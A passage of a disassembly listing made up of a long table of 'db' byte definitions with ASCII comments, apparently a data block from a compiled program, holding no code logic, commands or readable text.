0FDh ; db 0E1h ; db 0FBh ; db 0CEh ; db 0FDh ; db 0EDh ; db 3Ch ; < db 0CEh ; db 0FDh ; db 5Eh ; ^ db 1 ; db 0CEh ; db 0FDh ; db 5Fh ; _ db 1 ; db 0CEh ; db 0FDh ; db 5Fh ; _ db 0Ah ; db 0CEh ; db 1Ah ; db 0E2h ; db 0Fh ; db 0CEh ; db 1Ah ; db 24h ; $ db 22h ; " db 0CEh ; db 1Ch ; db 9Dh ; db 42h ; B db 0CEh ; db 1Dh ; db 74h ; t db 1Bh ; db 0CEh ; db 1Dh ; db 0B2h ; db 1 ; db 0CEh ; db 1Dh ; db 4Dh ; M db 2 ; db 0CEh ; db 1Dh ; db 62h ; b db 0Ah ; db 0CEh ; db 1Dh ; db 62h ; b db 3Ch ; < db 0CEh ; db 1Eh ; db 0A3h ; db 2 ; db 0CEh ; db 1Eh ; db 0DCh ; db 2 ; db 0CEh ; db 1Eh ; db 61h ; a db 0Ch ; db 0CEh ; db 1Eh ; db 61h ; a db 0Fh ; db 0CEh ; db 1Fh ; db 0Ah ; db 0Eh ; db 0CEh ; db 1Fh ; db 0Ah ; db 0Fh ; db 0CEh ; db 1Fh ; db 6Fh ; o db 19h ; db 0CEh ; db 1Fh ; db 80h ; db 1Ch ; db 0CEh ; db 1Fh ; db 84h ; db 0FAh ; db 0CEh ; db 1Fh ; db 8Bh ; db 0Ah ; db 0CEh ; db 1Fh ; db 8Bh ; db 0Bh ; db 0CEh ; db 1Fh ; db 9Ah ; db 2 ; db 0CEh ; db 1Fh ; db 0BEh ; db 1 ; db 0CEh ; db 1Fh ; db 0BEh ; db 15h ; db 0CEh ; db 1Fh ; db 0C0h ; db 2 ; db 0CEh ; db 1Fh ; db 0C0h ; db 3 ; db 0CEh ; db 1Fh ; db 0C1h ; db 2 ; db 0CEh ; db 1Fh ; db 2 ; db 1 ; db 0CEh ; db 1Fh ; db 2 ; db 2 ; db 0CEh ; db 1Fh ; db 0CCh ; db 1 ; db 0CEh ; db 1Fh ; db 0CCh ; db 0Bh ; db 0CEh ; db 1Fh ; db 0D8h ; db 2 ; db 0CEh ; db 1Fh ; db 16h ; db 1 ; db 0CEh ; db 1Fh ; db 0E6h ; db 0Ah ; db 0CEh ; db 1Fh ; db 0ECh ; db 0Ah ; db 0CEh ; db 1Fh ; db 0FEh ; db 1 ; db 0CEh ; db 1Fh ; db 1Ah ; db 3 ; db 0CEh ; db 1Fh ; db 1Ch ; db 1 ; db 0CEh ; db 1Fh ; db 20h ; db 13h ; db 0CEh ; db 1Fh ; db 20h ; db 6 ; db 0CEh ; db 1Fh ; db 2Bh ; + db 0EFh ; db 0CEh ; db 1Fh ; db 2Fh ; / db 1 ; db 0CEh ; db 1Fh ; db 32h ; 2 db 2 ; db 0CEh ; db 1Fh ; db 38h ; 8 db 1 ; db 0CEh ; db 1Fh ; db 63h ; c db 0Ah ; db 0CEh ; db 22h ; " db 0B2h ; db 2 ; db 0CEh ; db 22h ; " db 0B5h ; db 0Fh ; db 0CEh ; db 22h ; " db 0B5h ; db 10h ; db 0CEh ; db 25h ; % db 0CEh ; db 44h ; D db 0CEh ; db 25h ; % db 0CEh ; db 45h ; E db 0CEh ; db 26h ; & db 23h ; # db 3 ; db 0CEh ; db 29h ; ) db 80h ; db 22h ; " db 0CEh ; db 29h ; ) db 80h ; db 26h ; & db 0CEh ; db 29h ; ) db 0B0h ; db 64h ; d db 0CEh ; db 2Eh ; . db 0FEh ; db 0Dh ; db 0CEh ; db 2Fh ; / db 74h ; t db 2 ; db 0CEh ; db 2Fh ; / db 0Fh ; db 3 ; db 0CEh ; db 2Fh ; / db 96h ; db 0B0h ; db 0CEh ; db 2Fh ; / db 96h ; db 0E1h ; db 0CEh ; db 2Fh ; / db 0EFh ; db 21h ; ! db 0CEh ; db 31h ; 1 db 5Eh ; ^ db 0EAh ; db 0CEh ; db 32h ; 2 db 38h ; 8 db 0FAh ; db 0CEh ; db 33h ; 3 db 16h ; db 1 ; db 0CEh ; db 33h ; 3 db 1Bh ; db 1 ; db 0CEh ; db 34h ; 4 db 4 ; db 3 ; db 0CEh ; db 36h ; 6 db 0E0h ; db 1 ; db 0CEh ; db 3Dh ; = db 0 ; db 2 ; db 0CEh ; db 3Dh ; = db 0 ; db 4 ; db 0CEh ; db 3Dh ; = db 6Ch ; l db 0Ah ; db 0CEh ; db 3Dh ; = db 8Ch ; db 0Bh ; db 0CEh ; db 3Dh ; = db 9Bh ; db 0Bh ; db 0CEh ; db 3Dh ; = db 9Eh ; db 6Eh ; n db 0CEh ; db 3Dh ; = db 0B2h ; db 5 ; db 0CEh ; db 3Dh ; = db 0DFh ; db 0Ch ; db 0CEh ; db 3Dh ; = db 23h ; # db 3 ; db 0CEh ; db 42h ; B db 0Ah ; db 2Eh ; . db 0CEh ; db 42h ; B db 0Ah ; db 5Eh ; ^ db 0CEh ; db 42h ; B db 0Ch ; db 1Eh ; db 0CEh ; db 42h ; B db 0Ch ; db 24h ; $ db 0CEh ; db 42h ; B db 0F0h ; db 0FEh ; db 0CEh ; db 7 ; db 1Fh ; db 0C8h ; db 0CEh ; db 46h ; F db 0FBh ; db 0E6h ; db 0CEh ; db 47h ; G db 0A1h ; db 0Bh ; db 0CEh ; db 47h ; G db 0A1h ; db 2 ; db 0CEh ; db 47h ; G db 4Dh ; M db 2 ; db 0CEh ; db 48h ; H db 80h ; db 22h ; " db 0CEh ; db 48h ; H db 80h ; db 62h ; b db 0CEh ; db 4Ah ; J db 0FEh ; db 2 ; db 0CEh ; db 4Bh ; K db 0D8h ; db 0C8h ; db 0CEh ; db 4Bh ; K db 0D8h ; db 0D2h ; db 0CEh ; db 4Eh ; N db 92h ; db 2 ; db 0CEh ; db 4Eh ; N db 40h ; @ db 2 ; db 0CEh ; db 4Fh ; O db 0ABh ; db 27h ; ' db 0CEh ; db 4Fh ; O db 0E6h ; db 0Ah ; db 0CEh ; db 4Fh ; O db 7 ; db 32h ; 2 db 0CEh ; db 50h ; P db 0A7h ; db 0F5h ; db 0CEh ; db 53h ; S db 0A0h ; db 5 ; db 0CEh ; db 53h ; S db 0A0h ; db 7 ; db 0CEh ; db 53h ; S db 60h ; ` db 0Ch ; db 0CEh ; db 57h ; W db 8Dh ; db 1 ; db 0CEh ; db 57h ; W db 10h ; db 2 ; db 0CEh ; db 58h ; X db 0 ; db 22h ; " db 0CEh ; db 58h ; X db 0 ; db 42h ; B db 0CEh ; db 9 ; db 70h ; p db 64h ; d db 0CEh ; db 9 ; db 70h ; p db 65h ; e db 0CEh ; db 9 ; db 40h ; @ db 64h ; d db 0CEh ; db 9 ; db 40h ; @ db 68h ; h db 0CEh ; db 9 ; db 50h ; P db 0Bh ; db 0CEh ; db 9 ; db 54h ; T db 2 ; db 0CEh ; db 60h ; ` db 6Ch ; l db 2 ; db 0CEh ; db 60h ; ` db 0E2h ; db 1 ; db 0CEh ; db 60h ; ` db 0E2h ; db 6 ; db 0CEh ; db 60h ; ` db 3Eh ; > db 10h ; db 0CEh ; db 62h ; b db 72h ; r db 0Ah ; db 0CEh ; db 62h ; b db 72h ; r db 14h ; db 0CEh ; db 62h ; b db 8Ah ; db 2 ; db 0CEh ; db 62h ; b db 8Ah ; db 3 ; db 0CEh ; db 62h ; b db 0A7h ; db 2 ; db 0CEh ; db 62h ; b db 0CAh ; db 24h ; $ db 0CEh ; db 62h ; b db 0CAh ; db 47h ; G db 0CEh ; db 62h ; b db 0CAh ; db 49h ; I db 0CEh ; db 63h ; c db 91h ; db 1 ; db 0CEh ; db 63h ; c db 0ABh ; db 1 ; db 0CEh ; db 63h ; c db 0ABh ; db 0Ah ; db 0CEh ; db 63h ; c db 42h ; B db 21h ; ! db 0CFh ; db 0 ; db 81h ; db 0B7h ; db 0CFh ; db 0 ; db 81h ; db 0BEh ; db 0CFh ; db 0 ; db 0E5h ; db 0FCh ; db 0CFh ; db 1 ; db 7Ah ; z db 19h ; db 0CFh ; db 1 ; db 86h ; db 22h ; " db 0CFh ; db 1 ; db 0A0h ; db 0A3h ; db 0CFh ; db 1 ; db 0C7h ; db 45h ; E db 0CFh ; db 1 ; db 3Ch ; < db 2 ; db 0CFh ; db 1 ; db 49h ; I db 15h ; db 0CFh ; db 0Ah ; db 80h ; db 2Eh ; . db 0CFh ; db 0Ah ; db 80h ; db 2Fh ; / db 0CFh ; db 65h ; e db 50h ; P db 7Ch ; | db 0CFh ; db 65h ; e db 50h ; P db 62h ; b db 0CFh ; db 66h ; f db 81h ; db 1 ; db 0CFh ; db 66h ; f db 81h ; db 82h ; db 0CFh ; db 66h ; f db 81h ; db 2 ; db 0CFh ; db 67h ; g db 0 ; db 2 ; db 0CFh ; db 67h ; g db 0Bh ; db 9 ; db 0CFh ; db 67h ; g db 0CEh ; db 43h ; C db 0CFh ; db 68h ; h db 97h ; db 0Ah ; db 0CFh ; db 69h ; i db 0BDh ; db 2 ; db 0CFh ; db 6Ah ; j db 1 ; db 2 ; db 0CFh ; db 6Dh ; m db 55h ; U db 3Ah ; : db 0CFh ; db 6Dh ; m db 55h ; U db 3Bh ; ; db 0CFh ; db 0Bh ; db 70h ; p db 3Ch ; < db 0CFh ; db 0Bh ; db 7 ; db 2Bh ; + db 0CFh ; db 0Bh ; db 7 ; db 34h ; 4 db 0CFh ; db 6Eh ; n db 0 ; db 80h ; db 0CFh ; db 6Eh ; n db 0 ; db 3Ch ; < db 0CFh ; db 6Fh ; o db 0A0h ; db 3 ; db 0CFh ; db 6Fh ; o db 0A0h ; db 4 ; db 0CFh ; db 6Fh ; o db 0E8h ; db 17h ; db 0CFh ; db 70h ; p db 0F8h ; db 52h ; R db 0CFh ; db 71h ; q db 86h ; db 9 ; db 0CFh ; db 73h ; s db 0DDh ; db 30h ; 0 db 0CFh ; db 79h ; y db 2 ; db 6Dh ; m db 0CFh ; db 79h ; y db 0D9h ; db 2 ; db 0CFh ; db 79h ; y db 0F1h ; db 8Ah ; db 0CFh ; db 79h ; y db 34h ; 4 db 2 ; db 0CFh ; db 79h ; y db 34h ; 4 db 4 ; db 0CFh ; db 79h ; y db 5Ah ; Z db 32h ; 2 db 0CFh ; db 7Ah ; z db 49h ; I db 4Bh ; K db 0CFh ; db 7Eh ; ~ db 69h ; i db 92h ; db 0CFh ; db 7Eh ; ~ db 60h ; ` db 0A2h ; db 0CFh ; db 7Fh ;  db 65h ; e db 8 ; db 0CFh ; db 82h ; db 5Fh ; _ db 28h ; ( db 0CFh ; db 84h ; db 74h ; t db 5 ; db 0CFh ; db 84h ; db 74h ; t db 3Ch ; < db 0CFh ; db 85h ; db 94h ; db 0F5h ; db 0CFh ; db 85h ; db 96h ; db 0F5h ; db 0CFh ; db 85h ; db 0F8h ; db 0F5h ; db 0CFh ; db 85h ; db 42h ; B db 0F5h ; db 0CFh ; db 8Ah ; db 74h ; t db 24h ; $ db 0CFh ; db 8Ch ; db 94h ; db 14h ; db 0CFh ; db 8Ch ; db 8 ; db 0Ah ; db 0CFh ; db 8Ch ; db 8 ; db 3 ; db 0CFh ; db 8Dh ; db 1 ; db 0C9h ; db 0CFh ; db 8Dh ; db 68h ; h db 6 ; db 0CFh ; db 8Dh ; db 6Bh ; k db 0Bh ; db 0CFh ; db 8Dh ; db 6Eh ; n db 8 ; db 0CFh ; db 8Dh ; db 96h ; db 2 ; db 0CFh ; db 8Dh ; db 96h ; db 3 ; db 0CFh ; db 8Dh ; db 99h ; db 0Ah ; db 0CFh ; db 8Dh ; db 99h ; db 1Eh ; db 0CFh ; db 8Dh ; db 0B1h ; db 0Ah ; db 0CFh ; db 8Dh ; db 14h ; db 14h ; db 0CFh ; db 8Dh ; db 0C9h ; db 2 ; db 0CFh ; db 8Dh ; db 17h ; db 2 ; db 0CFh ; db 8Dh ; db 18h ; db 1 ; db 0CFh ; db 8Dh ; db 18h ; db 2 ; db 0CFh ; db 8Dh ; db 0FAh ; db 22h ; " db 0CFh ; db 8Dh ; db 0FDh ; db 2 ; db 0CFh ; db 8Dh ; db 4 ; db 65h ; e db 0CFh ; db 8Dh ; db 5 ; db 0FCh ; db 0CFh ; db 8Dh ; db 37h ; 7 db 2 ; db 0CFh ; db 8Dh ; db 38h ; 8 db 0Bh ; db 0CFh ; db 8Dh ; db 38h ; 8 db 0Ch ; db 0CFh ; db 8Dh ; db 3Eh ; > db 3Eh ; > db 0CFh ; db 0Fh ; db 0D0h ; db 11h ; db 0CFh ; db 0Fh ; db 0D0h ; db 12h ; db 0CFh ; db 96h ; db 0C0h ; db 4 ; db 0CFh ; db 96h ; db 0CAh ; db 0FAh ; db 0CFh ; db 97h ; db 98h ; db 2 ; db 0CFh ; db 97h ; db 0EDh ; db 12h ; db 0CFh ; db 97h ; db 4Fh ; O db 96h ; db 0CFh ; db 99h ; db 0CEh ; db 7Eh ; ~ db 0CFh ; db 9Bh ; db 0B7h ; db 48h ; H db 0CFh ; db 9Bh ; db 0B7h ; db 49h ; I db 0CFh ; db 9Bh ; db 0B8h ; db 48h ; H db 0CFh ; db 9Bh ; db 2 ; db 3 ; db 0CFh ; db 9Eh ; db 0C0h ; db 28h ; ( db 0CFh ; db 9Fh ; db 80h ; db 0Ah ; db 0CFh ; db 9Fh ; db 80h ; db 2 ; db 0CFh ; db 9Fh ; db 0ABh ; db 7Bh ; { db 0CFh ; db 9Fh ; db 0ABh ; db 59h ; Y db 0CFh ; db 9Fh ; db 0B4h ; db 17h ; db 0CFh ; db 9Fh ; db 5Eh ; ^ db 66h ; f db 0CFh ; db 0A4h ; db 7 ; db 3 ; db 0CFh ; db 0A4h ; db 7 ; db 9 ; db 0CFh ; db 0A4h ; db 50h ; P db 0F0h ; db 0CFh ; db 0A5h ; db 60h ; ` db 21h ; ! db 0CFh ; db 0A5h ; db 60h ; ` db 27h ; ' db 0CFh ; db 0A6h ; db 35h ; 5 db 3 ; db 0CFh ; db 0A6h ; db 36h ; 6 db 50h ; P db 0CFh ; db 0A8h ; db 5Dh ; ] db 2 ; db 0CFh ; db 0A8h ; db 5Dh ; ] db 3 ; db 0CFh ; db 11h ; db 3Eh ; > db 81h ; db 0CFh ; db 0AAh ; db 0D2h ; db 0A2h ; db 0CFh ; db 0ABh ; db 0 ; db 0Ah ; db 0CFh ; db 0ABh ; db 0 ; db 9 ; db 0CFh ; db 0ABh ; db 80h ; db 2 ; db 0CFh ; db 0ABh ; db 80h ; db 5 ; db 0CFh ; db 0ABh ; db 0B2h ; db 84h ; db 0CFh ; db 0ABh ; db 47h ; G db 47h ; G db 0CFh ; db 0ACh ; db 3 ; db 14h ; db 0CFh ; db 0ACh ; db 3 ; db 15h ; db 0CFh ; db 0ACh ; db 3 ; db 16h ; db 0CFh ; db 0ADh ; db 0E0h ; db 3 ; db 0CFh ; db 0ADh ; db 0E1h ; db 3 ; db 0CFh ; db 0ADh ; db 56h ; V db 2 ; db 0CFh ; db 0AFh ; db 22h ; " db 0Ah ; db 0CFh ; db 0AFh ; db 24h ; $ db 2Ch ; , db 0CFh ; db 0AFh ; db 28h ; ( db 0Bh ; db 0CFh ; db 0B3h ; db 0BEh ; db 0Bh ; db 0CFh ; db 0B3h ; db 0BEh ; db 0Ch ; db 0CFh ; db 12h ; db 0BCh ; db 4 ; db 0CFh ; db 12h ; db 0D8h ; db 2 ; db 0CFh ; db 0B5h ; db 65h ; e db 4 ; db 0CFh ; db 0B5h ; db 65h ; e db 5 ; db 0CFh ; db 0B5h ; db 0C1h ; db 2 ; db 0CFh ; db 0B5h ; db 59h ; Y db 2 ; db 0CFh ; db 0B5h ; db 59h ; Y db 3 ; db 0CFh ; db 0B6h ; db 26h ; & db 2 ; db 0CFh ; db 0B7h ; db 0F9h ; db 0FEh ; db 0CFh ; db 0B7h ; db 0F9h ; db 3 ; db 0CFh ; db 0B7h ; db 21h ; ! db 2 ; db 0CFh ; db 0BDh ; db 80h ; db 14h ; db 0CFh ; db 0BDh ; db 0AAh ; db 1 ; db 0CFh ; db 0BDh ; db 0AAh ; db 3 ; db 0CFh ; db 0BFh ; db 1 ; db 0Ah ; db 0CFh ; db 0BFh ; db 0C0h ; db 82h ; db 0CFh ; db 0BFh ; db 0C0h ; db 84h ; db 0CFh ; db 0BFh ; db 32h ; 2 db 0Ah ; db 0CFh ; db 0C1h ; db 79h ; y db 2 ; db 0CFh ; db 0C1h ; db 0C3h ; db 1 ; db 0CFh ; db 0C2h ; db 0A1h ; db 3 ; db 0CFh ; db 0C2h ; db 0A1h ; db 4 ; db 0CFh ; db 0C2h ; db 0C6h ; db 0Ah ; db 0CFh ; db 0C2h ; db 0C6h ; db 0DCh ; db 0CFh ; db 0C2h ; db 0C8h ; db 1 ; db 0CFh ; db 0C2h ; db 0C8h ; db 81h ; db 0CFh ; db 0C2h ; db 1Ch ; db 0E6h ; db 0CFh ; db 0C2h ; db 6 ; db 1 ; db 0CFh ; db 0C2h ; db 6 ; db 2 ; db 0CFh ; db 0C6h ; db 0DEh ; db 7 ; db 0CFh ; db 0C6h ; db 0FDh ; db 24h ; $ db 0CFh ; db 2 ; db 0A9h ; db 2 ; db 0CFh ; db 2 ; db 0A9h ; db 3 ; db 0CFh ; db 2 ; db 0DDh ; db 4 ; db 0CFh ; db 2 ; db 0DDh ; db 5 ; db 0CFh ; db 14h ; db 7Fh ;  db 0C8h ; db 0CFh ; db 0C8h ; db 49h ; I db 50h ; P db 0CFh ; db 0CAh ; db 40h ; @ db 2 ; db 0CFh ; db 0CDh ; db 0F7h ; db 0DEh ; db 0CFh ; db 0D3h ; db 1 ; db 0Ah ; db 0CFh ; db 0D3h ; db 0A0h ; db 2 ; db 0CFh ; db 0D3h ; db 0F3h ; db 2 ; db 0CFh ; db 0D3h ; db 3Ch ; < db 40h ; @ db 0CFh ; db 0D3h ; db 3Ch ; < db 41h ; A db 0CFh ; db 0D5h ; db 20h ; db 71h ; q db 0CFh ; db 0D5h ; db 3Ch ; < db 0Bh ; db 0CFh ; db 0D6h ; db 7Eh ; ~ db 15h ; db 0CFh ; db 0D9h ; db 78h ; x db 0Dh ; db 0CFh ; db 0D9h ; db 7Eh ; ~ db 0Bh ; db 0CFh ; db 0D9h ; db 4Dh ; M db 0Ch ; db 0CFh ; db 0DAh ; db 62h ; b db 2 ; db 0CFh ; db 0E4h ; db 0E1h ; db 14h ; db 0CFh ; db 0E4h ; db 0ECh ; db 0C1h ; db 0CFh ; db 0E4h ; db 23h ; # db 2Ah ; * db 0CFh ; db 0E4h ; db 25h ; % db 0C3h ; db 0CFh ; db 0E4h ; db 40h ; @ db 81h ; db 0CFh ; db 0E4h ; db 40h ; @ db 2Bh ; + db 0CFh ; db 0E6h ; db 0F4h ; db 2 ; db 0CFh ; db 0E6h ; db 31h ; 1 db 2 ; db 0CFh ; db 0E6h ; db 31h ; 1 db 3 ; db 0CFh ; db 0E6h ; db 4Bh ; K db 22h ; " db 0CFh ; db 0E6h ; db 4Bh ; K db 32h ; 2 db 0CFh ; db 0E7h ; db 86h ; db 1Bh ; db 0CFh ; db 0E9h ; db 80h ; db 0Bh ; db 0CFh ; db 0E9h ; db 0A8h ; db 0Bh ; db 0CFh ; db 0EBh ; db 10h ; db 2 ; db 0CFh ; db 0ECh ; db 0D9h ; db 5 ; db 0CFh ; db 0EEh ; db 30h ; 0 db 22h ; " db 0CFh ; db 18h ; db 0F5h ; db 0B2h ; db 0CFh ; db 18h ; db 0F5h ; db 0B3h ; db 0CFh ; db 0F0h ; db 5 ; db 3Ch ; < db 0CFh ; db 0F1h ; db 0A0h ; db 3 ; db 0CFh ; db 0F1h ; db 0A0h ; db 22h ; " db 0CFh ; db 0F1h ; db 0F0h ; db 0Fh ; db 0CFh ; db 0F1h ; db 0F0h ; db 14h ; db 0CFh ; db 0F3h ; db 68h ; h db 2 ; db 0CFh ; db 0F3h ; db 6Bh ; k db 2 ; db 0CFh ; db 0F6h ; db 4Ch ; L db 7 ; db 0CFh ; db 0F6h ; db 4Ch ; L db 8 ; db 0CFh ; db 0F8h ; db 0E0h ; db 47h ; G db 0CFh ; db 0F8h ; db 0E0h ; db 48h ; H db 0CFh ; db 19h ; db 44h ; D db 9Bh ; db 0CFh ; db 0FBh ; db 90h ; db 1 ; db 0CFh ; db 0FBh ; db 90h ; db 2 ; db 0CFh ; db 0FBh ; db 0C9h ; db 0Bh ; db 0CFh ; db 0FBh ; db 0C9h ; db 0Ch ; db 0CFh ; db 0FCh ; db 79h ; y db 16h ; db 0CFh ; db 0FCh ; db 79h ; y db 17h ; db 0CFh ; db 0FCh ; db 14h ; db 0Bh ; db 0CFh ; db 0FCh ; db 60h ; ` db 3 ; db 0CFh ; db 1Ch ; db 0EFh ; db 0D1h ; db 0CFh ; db 1Dh ; db 0C2h ; db 1Ch ; db 0CFh ; db 1Dh ; db 0C2h ; db 1Eh ; db 0CFh ; db 3 ; db 4Fh ; O db 2 ; db 0CFh ; db 20h ; db 80h ; db 1 ; db 0CFh ; db 20h ; db 59h ; Y db 0Ah ; db 0CFh ; db 22h ; " db 0B3h ; db 2 ; db 0CFh ; db 22h ; " db 0B3h ; db 3 ; db 0CFh ; db 26h ; & db 78h ; x db 3Fh ; ? db 0CFh ; db 26h ; & db 2Dh ; - db 9 ; db 0CFh ; db 29h ; ) db 78h ; x db 2 ; db 0CFh ; db 29h ; ) db 80h ; db 2 ; db 0CFh ; db 29h ; ) db 0Eh ; db 3Eh ; > db 0CFh ; db 29h ; ) db 12h ; db 44h ; D db 0CFh ; db 29h ; ) db 0C5h ; db 2 ; db 0CFh ; db 29h ; ) db 0C5h ; db 7 ; db 0CFh ; db 29h ; ) db 2 ; db 2 ; db 0CFh ; db 29h ; ) db 18h ; db 0Ah ; db 0CFh ; db 29h ; ) db 0F1h ; db 10h ; db 0CFh ; db 29h ; ) db 28h ; ( db 4Ch ; L db 0CFh ; db 29h ; ) db 29h ; ) db 14h ; db 0CFh ; db 29h ; ) db 29h ; ) db 0F8h ; db 0CFh ; db 29h ; ) db 40h ; @ db 1 ; db 0CFh ; db 29h ; ) db 40h ; @ db 2 ; db 0CFh ; db 29h ; ) db 4Ch ; L db 0Ah ; db 0CFh ; db 29h ; ) db 4Ch ; L db 0Ch ; db 0CFh ; db 29h ; ) db 56h ; V db 0Ah ; db 0CFh ; db 29h ; ) db 56h ; V db 0Bh ; db 0CFh ; db 2Ch ; , db 0 ; db 1 ; db 0CFh ; db 2Eh ; . db 8Ah ; db 0Bh ; db 0CFh ; db 2Eh ; . db 8Ah ; db 0Ch ; db 0CFh ; db 33h ; 3 db 68h ; h db 5 ; db 0CFh ; db 33h ; 3 db 80h ; db 0Ah ; db 0CFh ; db 33h ; 3 db 80h ; db 0Bh ; db 0CFh ; db 33h ; 3 db 81h ; db 1 ; db 0CFh ; db 33h ; 3 db 82h ; db 2 ; db 0CFh ; db 33h ; 3 db 86h ; db 2 ; db 0CFh ; db 33h ; 3 db 88h ; db 15h ; db 0CFh ; db 33h ; 3 db 88h ; db 17h ; db 0CFh ; db 33h ; 3 db 0Eh ; db 2 ; db 0CFh ; db 33h ; 3 db 0Eh ; db 3 ; db 0CFh ; db 33h ; 3 db 0C7h ; db 4 ; db 0CFh ; db 33h ; 3 db 0C9h ; db 31h ; 1 db 0CFh ; db 33h ; 3 db 0E4h ; db 84h ; db 0CFh ; db 33h ; 3 db 0E4h ; db 5 ; db 0CFh ; db 33h ; 3 db 0E5h ; db 1 ; db 0CFh ; db 33h ; 3 db 0ECh ; db 16h ; db 0CFh ; db 33h ; 3 db 0F2h ; db 42h ; B db 0CFh ; db 33h ; 3 db 0F2h ; db 43h ; C db 0CFh ; db 33h ; 3 db 0F8h ; db 2 ; db 0CFh ; db 33h ; 3 db 47h ; G db 2 ; db 0CFh ; db 33h ; 3 db 48h ; H db 66h ; f db 0CFh ; db 33h ; 3 db 48h ; H db 68h ; h db 0CFh ; db 33h ; 3 db 4Fh ; O db 3 ; db 0CFh ; db 33h ; 3 db 4Fh ; O db 4 ; db 0CFh ; db 33h ; 3 db 50h ; P db 3 ; db 0CFh ; db 33h ; 3 db 54h ; T db 0Ah ; db 0CFh ; db 33h ; 3 db 54h ; T db 0CDh ; db 0CFh ; db 33h ; 3 db 56h ; V db 3 ; db 0CFh ; db 33h ; 3 db 58h ; X db 1 ; db 0CFh ; db 36h ; 6 db 9Fh ; db 2 ; db 0CFh ; db 36h ; 6 db 9Fh ; db 4 ; db 0CFh ; db 3Bh ; ; db 1 ; db 1 ; db 0CFh ; db 3Dh ; = db 6Ah ; j db 0Ah ; db 0CFh ; db 3Dh ; = db 6Ah ; j db 0Bh ; db 0CFh ; db 3Dh ; = db 6Dh ; m db 2 ; db 0CFh ; db 3Dh ; = db 93h ; db 0Ah ; db 0CFh ; db 3Dh ; = db 93h ; db 14h ; db 0CFh ; db 3Dh ; = db 95h ; db 42h ; B db 0CFh ; db 3Dh ; = db 96h ; db 0FEh ; db 0CFh ; db 3Dh ; = db 0A6h ; db 5 ; db 0CFh ; db 3Dh ; = db 0A9h ; db 0FEh ; db 0CFh ; db 3Dh ; = db 0C6h ; db 0Bh ; db 0CFh ; db 3Dh ; = db 0D1h ; db 0F0h ; db 0CFh ; db 3Dh ; = db 0F4h ; db 2 ; db 0CFh ; db 3Dh ; = db 0F4h ; db 3 ; db 0CFh ; db 3Dh ; = db 32h ; 2 db 96h ; db 0CFh ; db 3Dh ; = db 3Bh ; ; db 2 ; db 0CFh ; db 3Dh ; = db 3Ch ; < db 2 ; db 0CFh ; db 3Dh ; = db 4Ah ; J db 2 ; db 0CFh ; db 41h ; A db 2Eh ; . db 2 ; db 0CFh ; db 43h ; C db 0A3h ; db 0Ah ; db 0CFh ; db 43h ; C db 38h ; 8 db 0Bh ; db 0CFh ; db 43h ; C db 38h ; 8 db 0Ch ; db 0CFh ; db 45h ; E db 0BCh ; db 0C0h ; db 0CFh ; db 45h ; E db 0BCh ; db 0C1h ; db 0CFh ; db 45h ; E db 0C2h ; db 0BAh ; db 0CFh ; db 45h ; E db 0C8h ; db 0D2h ; db 0CFh ; db 45h ; E db 0C8h ; db 0D3h ; db 0CFh ; db 7 ; db 20h ; db 5 ; db 0CFh ; db 7 ; db 28h ; ( db 0E3h ; db 0CFh ; db 7 ; db 40h ; @ db 3 ; db 0CFh ; db 47h ; G db 2Ch ; , db 79h ; y db 0CFh ; db 4Ah ; J db 5Ch ; \ db 0Ah ; db 0CFh ; db 4Ch ; L db 0A4h ; db 18h ; db 0CFh ; db 4Dh ; M db 8Ch ; db 3 ; db 0CFh ; db 4Dh ; M db 5Ah ; Z db 0Ah ; db 0CFh ; db 4Dh ; M db 5Ah ; Z db 0Bh ; db 0CFh ; db 4Eh ; N db 6Bh ; k db 66h ; f db 0CFh ; db 4Eh ; N db 0A9h ; db 96h ; db 0CFh ; db 8 ; db 0BAh ; db 2 ; db 0CFh ; db 8 ; db 0C0h ; db 5 ; db 0CFh ; db 8 ; db 0C0h ; db 3Eh ; > db 0CFh ; db 8 ; db 0C5h ; db 0BAh ; db 0CFh ; db 52h ; R db 0C6h ; db 96h ; db 0CFh ; db 56h ; V db 7Fh ;  db 0Eh ; db 0CFh ; db 56h ; V db 91h ; db 9Fh ; db 0CFh ; db 56h ; V db 91h ; db 0A0h ; db 0CFh ; db 58h ; X db 3Ch ; < db 5 ; db 0CFh ; db 59h ; Y db 80h ; db 0Dh ; db 0CFh ; db 59h ; Y db 0Fh ; db 0Ah ; db 0CFh ; db 59h ; Y db 0Fh ; db 14h ; db 0CFh ; db 5Bh ; [ db 5 ; db 14h ; db 0CFh ; db 5Bh ; [ db 5 ; db 0FCh ; db 0CFh ; db 5Bh ; [ db 5 ; db 3Bh ; ; db 0CFh ; db 62h ; b db 80h ; db 21h ; ! db 0CFh ; db 62h ; b db 81h ; db 0Bh ; db 0CFh ; db 62h ; b db 81h ; db 86h ; db 0CFh ; db 62h ; b db 81h ; db 0C8h ; db 0CFh ; db 62h ; b db 81h ; db 4Dh ; M db 0CFh ; db 62h ; b db 41h ; A db 2 ; db 0CFh ; db 63h ; c db 0 ; db 1 ; db 0CFh ; db 63h ; c db 0 ; db 2 ; db 0D0h ; db 0 ; db 91h ; db 2 ; db 0D0h ; db 0 ; db 38h ; 8 db 8 ; db 0D0h ; db 0 ; db 38h ; 8 db 9 ; db 0D0h ; db 1 ; db 70h ; p db 0Bh ; db 0D0h ; db 1 ; db 70h ; p db 2 ; db 0D0h ; db 1 ; db 72h ; r db 4 ; db 0D0h ; db 1 ; db 83h ; db 0Ah ; db 0D0h ; db 1 ; db 83h ; db 0Dh ; db 0D0h ; db 1 ; db 88h ; db 2 ; db 0D0h ; db 1 ; db 8Bh ; db 0FBh ; db 0D0h ; db 1 ; db 0Eh ; db 23h ; # db 0D0h ; db 1 ; db 0AFh ; db 28h ; ( db 0D0h ; db 1 ; db 0D8h ; db 2 ; db 0D0h ; db 1 ; db 17h ; db 3 ; db 0D0h ; db 1 ; db 0E6h ; db 2 ; db 0D0h ; db 1 ; db 0E7h ; db 2 ; db 0D0h ; db 1 ; db 0FAh ; db 2 ; db 0D0h ; db 1 ; db 0FEh ; db 2 ; db 0D0h ; db 1 ; db 6 ; db 1 ; db 0D0h ; db 1 ; db 3Ch ; < db 0Fh ; db 0D0h ; db 1 ; db 3Ch ; < db 10h ; db 0D0h ; db 1 ; db 56h ; V db 42h ; B db 0D0h ; db 1 ; db 57h ; W db 82h ; db 0D0h ; db 1 ; db 5Bh ; [ db 0Fh ; db 0D0h ; db 0Ah ; db 80h ; db 0Ah ; db 0D0h ; db 0Ah ; db 91h ; db 0Ah ; db 0D0h ; db 0Ah ; db 0BEh ; db 1 ; db 0D0h ; db 0Ah ; db 36h ; 6 db 0Ah ; db 0D0h ; db 0Bh ; db 72h ; r db 2 ; db 